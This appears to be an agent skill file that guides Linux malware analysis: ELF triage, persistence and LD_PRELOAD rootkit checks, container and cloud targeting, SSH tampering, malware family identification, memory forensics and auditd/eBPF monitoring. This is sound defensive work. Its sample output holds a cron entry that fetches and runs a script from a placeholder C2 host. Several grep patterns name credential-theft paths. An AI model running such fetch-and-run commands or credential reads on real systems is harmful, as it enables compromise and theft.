---
name: linux-malware-analysis
description: >
  Perform Linux-specific malware analysis including ELF binary examination,
  persistence mechanism enumeration (crontab, systemd, init.d, LD_PRELOAD),
  shared library hijacking detection, container escape and cloud targeting
  analysis, SSH key theft investigation, and Linux memory forensics. Covers
  family identification for TeamTNT, Kinsing, XorDDoS, Mirai variants, and
  BPFDoor. Use when analyzing suspected Linux malware samples, investigating
  compromised Linux servers, or responding to incidents in containerized and
  cloud environments.
---

# Linux Malware Analysis

Analyze Linux malware samples to understand ELF binary structure, identify
persistence mechanisms, detect shared library hijacking, assess container
escape capabilities, and extract actionable intelligence for detection and
response.

## Prerequisites

- **Python 3.8+**: `hashlib`, `json`, `re`, `os`, `struct`, `subprocess` (standard library)
- **Python packages (optional)**: `pyelftools`, `yara-python`, `capstone`, `volatility3`
- **Tools (recommended)**: `readelf`, `objdump`, `strace`, `ltrace`, `gdb`, Ghidra/IDA Pro
- **System tools**: `auditd`, `bpftool`, `ss`, `lsof`, `find`
- **Environment**: Isolated VM or disposable container (never run malware on production systems)
- **References**: VirusTotal, MalwareBazaar, MITRE ATT&CK for Linux

## Step-by-Step Instructions

### Step 1: ELF Binary Analysis

Examine the ELF binary structure to understand compilation, linking, and capabilities.

**Run initial triage:**
```bash
# File type and architecture identification
file suspicious_binary
readelf -h suspicious_binary

# Section headers - identify packed, stripped, or tampered binaries
readelf -S suspicious_binary

# Program headers - check for unusual segments (PT_NOTE abuse, RWX segments)
readelf -l suspicious_binary

# Symbol table analysis - check for debugging symbols or interesting function names
readelf -s suspicious_binary | grep -iE "(crypt|socket|connect|exec|fork|ptrace|dlopen|system)"
nm -D suspicious_binary 2>/dev/null | head -50
```

**Disassembly and deeper inspection:**
```bash
# Disassemble text section
objdump -d -M intel suspicious_binary > disassembly.txt

# Check for dynamic libraries and dependencies
ldd suspicious_binary 2>/dev/null
readelf -d suspicious_binary | grep -E "(NEEDED|RPATH|RUNPATH)"

# Extract printable strings with encoding detection
strings -a -n 6 suspicious_binary > strings_ascii.txt
strings -a -n 6 -el suspicious_binary > strings_unicode.txt

# Identify compiler and build information
readelf --notes suspicious_binary
strings suspicious_binary | grep -iE "(gcc|clang|go build|rustc|upx)"
```

**Run the Linux malware analyzer:**
```bash
python3 scripts/linux_malware_analyzer.py \
  --sample suspicious_binary \
  --mode elf-analysis \
  --output elf_analysis.json
```

**Detect packing and anti-analysis:**
```bash
# Check for UPX packing
upx -t suspicious_binary 2>/dev/null && echo "UPX packed"

# Check entropy per section (high entropy suggests packing/encryption)
python3 -c "
import math, struct
data = open('suspicious_binary', 'rb').read()
def entropy(d):
    if not d: return 0
    freq = [0]*256
    for b in d: freq[b] += 1
    return -sum((c/len(d)) * math.log2(c/len(d)) for c in freq if c)
print(f'Overall entropy: {entropy(data):.2f}')
"

# Check for anti-debugging (ptrace self-trace)
objdump -d suspicious_binary | grep -A2 "ptrace"
strings suspicious_binary | grep -iE "(ptrace|TRACEME|/proc/self/status|TracerPid)"
```

### Step 2: Linux-Specific Persistence Mechanisms

Enumerate all persistence vectors the malware may install.

**Crontab persistence:**
```bash
# Check all user crontabs
for user in $(cut -d: -f1 /etc/passwd); do
  crontab -l -u "$user" 2>/dev/null && echo "--- crontab for $user ---"
done

# Check system cron directories
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab

# Look for recently modified cron entries
find /var/spool/cron /etc/cron* -mtime -7 -ls 2>/dev/null
```

**Systemd persistence:**
```bash
# Check for suspicious systemd services and timers
systemctl list-units --type=service --state=running --no-pager
systemctl list-timers --no-pager

# Find recently created or modified unit files
find /etc/systemd/system /usr/lib/systemd/system /run/systemd/system \
  -name "*.service" -o -name "*.timer" | while read f; do
  echo "=== $f ==="
  stat --format='Modified: %y' "$f"
  cat "$f"
done

# Check for user-level systemd units
find /home -path "*/.config/systemd/user/*.service" -ls 2>/dev/null
```

**Shell profile persistence:**
```bash
# Check shell initialization files for all users
find /home /root -maxdepth 2 \
  \( -name ".bashrc" -o -name ".bash_profile" -o -name ".profile" \
     -o -name ".zshrc" -o -name ".bash_logout" \) \
  -exec echo "=== {} ===" \; -exec tail -5 {} \; 2>/dev/null

# Check system-wide profile scripts
cat /etc/profile
ls -la /etc/profile.d/
cat /etc/environment
```

**Init.d and rc.local persistence:**
```bash
# Check init scripts
ls -la /etc/init.d/
cat /etc/rc.local 2>/dev/null

# Check for unusual entries in inittab
cat /etc/inittab 2>/dev/null
```

**LD_PRELOAD persistence:**
```bash
# Check LD_PRELOAD environment variable
env | grep LD_PRELOAD
cat /etc/ld.so.preload 2>/dev/null

# Check for LD_PRELOAD in shell profiles
grep -r "LD_PRELOAD" /etc/profile* /etc/environment /home/*/.*rc /home/*/.*profile 2>/dev/null

# Check dynamic linker configuration
cat /etc/ld.so.conf
ldconfig -p | grep -v "^$(ldconfig -p | head -1)"
```

**Run persistence scan:**
```bash
python3 scripts/linux_malware_analyzer.py \
  --mode persistence \
  --output persistence_findings.json
```

### Step 3: Shared Library Hijacking Analysis

Detect LD_PRELOAD rootkits and rpath manipulation techniques.

**LD_PRELOAD rootkit detection:**
```bash
# Check for preloaded libraries
cat /etc/ld.so.preload 2>/dev/null
echo $LD_PRELOAD

# Compare library function addresses - discrepancies indicate hooking
python3 -c "
import ctypes, ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
print(f'open: {ctypes.cast(libc.open, ctypes.c_void_p).value:#x}')
print(f'read: {ctypes.cast(libc.read, ctypes.c_void_p).value:#x}')
print(f'write: {ctypes.cast(libc.write, ctypes.c_void_p).value:#x}')
print(f'connect: {ctypes.cast(libc.connect, ctypes.c_void_p).value:#x}')
"

# Verify shared library integrity
for lib in /lib/x86_64-linux-gnu/libc.so.* /lib/x86_64-linux-gnu/libpam.so.*; do
  echo "$lib: $(sha256sum "$lib" 2>/dev/null)"
done
```

**RPATH/RUNPATH manipulation:**
```bash
# Check for suspicious RPATH/RUNPATH in binaries
find /usr/bin /usr/sbin /usr/local/bin -executable -type f | while read bin; do
  rpath=$(readelf -d "$bin" 2>/dev/null | grep -E "RPATH|RUNPATH")
  if [ -n "$rpath" ]; then
    echo "$bin: $rpath"
  fi
done

# Check for library search order hijacking
strace -e openat -f suspicious_binary 2>&1 | grep "\.so"
```

**Dynamic analysis of library injection:**
```bash
# Trace library calls during execution
ltrace -e '*' -o ltrace_output.txt ./suspicious_binary 2>/dev/null &
strace -e trace=openat,mmap,mprotect -f -o strace_output.txt ./suspicious_binary 2>/dev/null &

# Check loaded libraries of running suspicious process
cat /proc/<pid>/maps | grep "\.so"
ls -la /proc/<pid>/fd/ | grep "\.so"
```

### Step 4: Container Escape and Cloud Targeting

Analyze malware targeting containerized and cloud environments.

**Docker socket abuse detection:**
```bash
# Check for Docker socket access attempts
strings suspicious_binary | grep -iE "(docker\.sock|/var/run/docker|dockerapi|containers/json)"

# Check for container escape indicators
strings suspicious_binary | grep -iE "(nsenter|--mount|--pid|--net|/proc/1/root|cgroup|release_agent)"

# Detect if running inside a container
cat /proc/1/cgroup 2>/dev/null | grep -E "(docker|kubepods|containerd)"
ls -la /.dockerenv 2>/dev/null
```

**Kubernetes API targeting:**
```bash
# Check for Kubernetes API access patterns
strings suspicious_binary | grep -iE "(kubernetes|kube-system|serviceaccount|/api/v1|kubectl|kubelet)"

# Check for service account token theft
strings suspicious_binary | grep -iE "(/var/run/secrets/kubernetes|token|ca\.crt)"

# Check for kubectl or helm commands
strings suspicious_binary | grep -iE "(kubectl exec|kubectl apply|helm install)"
```

**Cloud metadata API abuse:**
```bash
# Check for cloud metadata endpoint access
strings suspicious_binary | grep -iE "(169\.254\.169\.254|metadata\.google|metadata\.azure)"

# Check for AWS/GCP/Azure credential theft
strings suspicious_binary | grep -iE "(AKIA[0-9A-Z]{16}|AWS_ACCESS_KEY|\.aws/credentials|gcloud auth|az login)"

# Check for cryptomining indicators (common in cloud-targeting malware)
strings suspicious_binary | grep -iE "(stratum\+tcp|xmrig|monero|pool\.|cryptonight|hashrate)"
```

**Run container/cloud analysis:**
```bash
python3 scripts/linux_malware_analyzer.py \
  --sample suspicious_binary \
  --mode cloud-analysis \
  --output cloud_targeting.json
```

### Step 5: SSH Key Theft and Authorized Keys Manipulation

Investigate SSH-related compromise indicators.

**SSH key analysis:**
```bash
# Check for SSH key access in binary
strings suspicious_binary | grep -iE "(id_rsa|id_ed25519|id_ecdsa|authorized_keys|known_hosts|\.ssh)"

# Audit SSH directory modifications
find /home /root -path "*/.ssh/*" -ls 2>/dev/null
for user_home in /home/* /root; do
  if [ -d "$user_home/.ssh" ]; then
    echo "=== $user_home/.ssh ==="
    stat "$user_home/.ssh/authorized_keys" 2>/dev/null
    cat "$user_home/.ssh/authorized_keys" 2>/dev/null
  fi
done

# Check for unauthorized SSH keys added recently
find /home /root -name "authorized_keys" -mtime -30 -exec echo "Modified: {}" \; \
  -exec cat {} \; 2>/dev/null

# Check SSH configuration for backdoor settings
grep -E "(PermitRootLogin|AuthorizedKeysFile|ForceCommand|PasswordAuthentication)" /etc/ssh/sshd_config
```

**SSH daemon integrity:**
```bash
# Verify sshd binary integrity
sha256sum /usr/sbin/sshd
dpkg -V openssh-server 2>/dev/null || rpm -V openssh-server 2>/dev/null

# Check for PAM module backdoors
find /lib/security/ /lib64/security/ /usr/lib/x86_64-linux-gnu/security/ \
  -name "*.so" -newer /usr/sbin/sshd -ls 2>/dev/null
```

### Step 6: Known Linux Malware Family Identification

Identify specific malware families based on behavioral markers and signatures.

**TeamTNT indicators:**
```bash
# TeamTNT typically targets Docker and Kubernetes, mines cryptocurrency
strings suspicious_binary | grep -iE "(teamtnt|hilde|chimaera|borg|bioset)"
strings suspicious_binary | grep -iE "(masscan|zgrab|pnscan)"
# Check for their typical credential harvesting
strings suspicious_binary | grep -iE "(\.docker/config\.json|\.aws/credentials|/root/\.ssh)"
```

**Kinsing indicators:**
```bash
# Kinsing exploits misconfigured Docker/Redis/other services
strings suspicious_binary | grep -iE "(kinsing|kdevtmpfsi|libsystem\.so)"
# Check for crontab-based persistence typical of Kinsing
strings suspicious_binary | grep -iE "(curl.*\|.*sh|wget.*\|.*sh|/tmp/.*\.sh)"
```

**XorDDoS indicators:**
```bash
# XorDDoS uses XOR encryption for C2 communication
strings suspicious_binary | grep -iE "(xorddos|/lib/libudev\.so|/boot/.*random)"
# Check for its typical init.d persistence
ls -la /etc/init.d/ | grep -vE "^(total|d)" | awk '{print $NF}' | while read svc; do
  file "/etc/init.d/$svc"
done
```

**Mirai variant detection:**
```bash
# Mirai scans for Telnet/SSH and brute-forces credentials
strings suspicious_binary | grep -iE "(scanner|telnet|/bin/busybox|table_init|attack_)"
# Check for default credential lists embedded in binary
strings suspicious_binary | grep -iE "(admin|root|default|guest|support|user)" | head -20
# Typical Mirai architecture strings
readelf -h suspicious_binary | grep -i "machine"
```

**BPFDoor indicators:**
```bash
# BPFDoor uses BPF packet filters for stealthy C2
strings suspicious_binary | grep -iE "(bpf|packet_filter|socket_filter|/var/run/haldrund)"
# Check for raw socket usage
strings suspicious_binary | grep -iE "(AF_PACKET|SOCK_RAW|setsockopt)"
# BPFDoor often masquerades as common daemons
ls -la /dev/shm/ 2>/dev/null
```

**Run family identification:**
```bash
python3 scripts/linux_malware_analyzer.py \
  --sample suspicious_binary \
  --mode family-id \
  --output family_identification.json
```

### Step 7: Linux Memory Forensics with Volatility 3

Analyze memory dumps from compromised Linux systems.

**Basic memory analysis:**
```bash
# Identify the Linux profile/kernel version
volatility3 -f memory.lime banners.Banners

# List all processes (compare with known-good)
volatility3 -f memory.lime linux.pslist.PsList > process_list.txt
volatility3 -f memory.lime linux.pstree.PsTree > process_tree.txt

# Check for hidden processes
volatility3 -f memory.lime linux.pslist.PsList --decorate
```

**Network and file analysis:**
```bash
# Enumerate network connections from memory
volatility3 -f memory.lime linux.sockstat.Sockstat > network_connections.txt

# Check loaded kernel modules
volatility3 -f memory.lime linux.lsmod.Lsmod > kernel_modules.txt

# Extract bash history from memory
volatility3 -f memory.lime linux.bash.Bash > bash_history.txt

# Dump suspicious process memory
volatility3 -f memory.lime linux.proc.Maps --pid <pid> --dump
```

**Rootkit detection in memory:**
```bash
# Check for syscall table hooking
volatility3 -f memory.lime linux.check_syscall.Check_syscall > syscall_check.txt

# Check for inline function hooking
volatility3 -f memory.lime linux.check_modules.Check_modules > module_check.txt

# Detect hidden kernel modules
volatility3 -f memory.lime linux.hidden_modules.Hidden_modules > hidden_modules.txt

# Check for LD_PRELOAD in process environment
volatility3 -f memory.lime linux.elfs.Elfs --pid <pid>
```

### Step 8: Auditd and eBPF-Based Monitoring

Configure runtime monitoring to capture malware behavior.

**Auditd rules for malware detection:**
```bash
# Monitor process execution
auditctl -a always,exit -F arch=b64 -S execve -k exec_monitor

# Monitor file modifications in sensitive directories
auditctl -w /etc/crontab -p wa -k cron_mod
auditctl -w /etc/cron.d/ -p wa -k cron_mod
auditctl -w /etc/systemd/system/ -p wa -k systemd_mod
auditctl -w /etc/ld.so.preload -p wa -k preload_mod
auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_mod

# Monitor network socket creation
auditctl -a always,exit -F arch=b64 -S socket -S connect -k net_activity

# Monitor kernel module loading
auditctl -a always,exit -F arch=b64 -S init_module -S finit_module -k module_load

# Search audit logs for suspicious activity
ausearch -k exec_monitor --start recent | aureport -x --summary
ausearch -k cron_mod --start today
```

**eBPF-based tracing:**
```bash
# Trace all execve syscalls with arguments (using bpftrace)
bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf("%d %s %s\n", pid, comm, str(args->filename)); }' > execve_trace.txt &

# Trace network connections
bpftrace -e 'tracepoint:syscalls:sys_enter_connect { printf("%d %s\n", pid, comm); }' > connect_trace.txt &

# Trace file opens in sensitive directories
bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%d %s %s\n", pid, comm, str(args->filename)); }' > file_trace.txt &

# Monitor for ptrace-based injection
bpftrace -e 'tracepoint:syscalls:sys_enter_ptrace { printf("%d %s request=%d\n", pid, comm, args->request); }'
```

**Collect and analyze results:**
```bash
python3 scripts/linux_malware_analyzer.py \
  --sample suspicious_binary \
  --mode full-analysis \
  --audit-log /var/log/audit/audit.log \
  --output full_analysis.json
```

## Output Format

```json
{
  "sample": {
    "filename": "suspicious_binary",
    "sha256": "a1b2c3d4e5f6...",
    "file_type": "ELF 64-bit LSB executable, x86-64, dynamically linked",
    "size_bytes": 1245184
  },
  "elf_analysis": {
    "architecture": "x86-64",
    "linking": "dynamically linked",
    "stripped": true,
    "compiler": "GCC 9.4.0",
    "packed": false,
    "entropy": 6.2,
    "sections": [".text", ".data", ".bss", ".rodata", ".dynstr"],
    "suspicious_sections": [],
    "imported_functions": ["connect", "socket", "execve", "fork", "dlopen"],
    "rpath_set": false
  },
  "family_identification": {
    "family": "Kinsing",
    "confidence": "high",
    "variant": "v1.4",
    "indicators": [
      "Embedded XMRig miner configuration",
      "Docker API exploitation routine",
      "Crontab persistence pattern matching Kinsing TTP"
    ]
  },
  "persistence": {
    "crontab": {
      "found": true,
      "entries": ["*/5 * * * * curl http://c2.example.com/update.sh | sh"]
    },
    "systemd": {
      "found": false,
      "services": []
    },
    "ld_preload": {
      "found": true,
      "library": "/usr/local/lib/libprocesshider.so"
    },
    "shell_profiles": {
      "found": false,
      "files_modified": []
    },
    "ssh_keys": {
      "modified": true,
      "unauthorized_keys_added": 1
    }
  },
  "cloud_targeting": {
    "docker_socket_access": true,
    "kubernetes_api_access": false,
    "cloud_metadata_access": true,
    "cloud_credential_theft": ["AWS credentials (~/.aws/credentials)"],
    "cryptomining": {
      "detected": true,
      "miner": "XMRig",
      "pool": "stratum+tcp://pool.example.com:3333",
      "wallet": "4ABC..."
    }
  },
  "network": {
    "c2_servers": ["185.141.x.x:443"],
    "dns_queries": [],
    "protocols": ["HTTPS", "stratum"]
  },
  "iocs": {
    "sha256": ["a1b2c3d4e5f6..."],
    "ip_addresses": ["185.141.x.x"],
    "domains": ["c2.example.com"],
    "file_paths": ["/tmp/.kinsing", "/usr/local/lib/libprocesshider.so"],
    "cron_entries": ["*/5 * * * * curl http://c2.example.com/update.sh | sh"]
  },
  "mitre_attack": ["T1059.004", "T1053.003", "T1574.006", "T1610", "T1552.004", "T1496"]
}
```

## Tips

- Always analyze ELF binaries in an isolated VM or disposable container; never run on production hosts
- Many Linux malware families target multiple architectures (x86, ARM, MIPS); check with `readelf -h` to identify the target platform
- Cryptominers (TeamTNT, Kinsing) are the most common Linux malware; check for XMRig config patterns
- BPFDoor and similar implants use raw sockets and BPF filters; they will not show up in standard `netstat`/`ss` output
- Check `/dev/shm`, `/tmp`, `/var/tmp`, and `/run` for malware staging; these are writable and commonly abused
- Compare binaries against package manager databases (`dpkg -V` or `rpm -Va`) to detect trojanized system utilities
- Linux malware often deletes itself after execution; capture `/proc/<pid>/exe` before the process exits
- For container-targeting malware, check if the Docker socket is mounted (`/var/run/docker.sock`) and review container creation logs
- Use `ausearch` and `aureport` to correlate audit events with suspicious binary execution times
- LD_PRELOAD rootkits can hide processes, files, and network connections; always compare multiple enumeration methods
- Memory forensics with Volatility 3 requires a matching Linux kernel profile; build one from the compromised system's kernel headers if needed
- When analyzing Go or Rust binaries, standard `strings` may miss embedded data; use `go tool objdump` or specialized extractors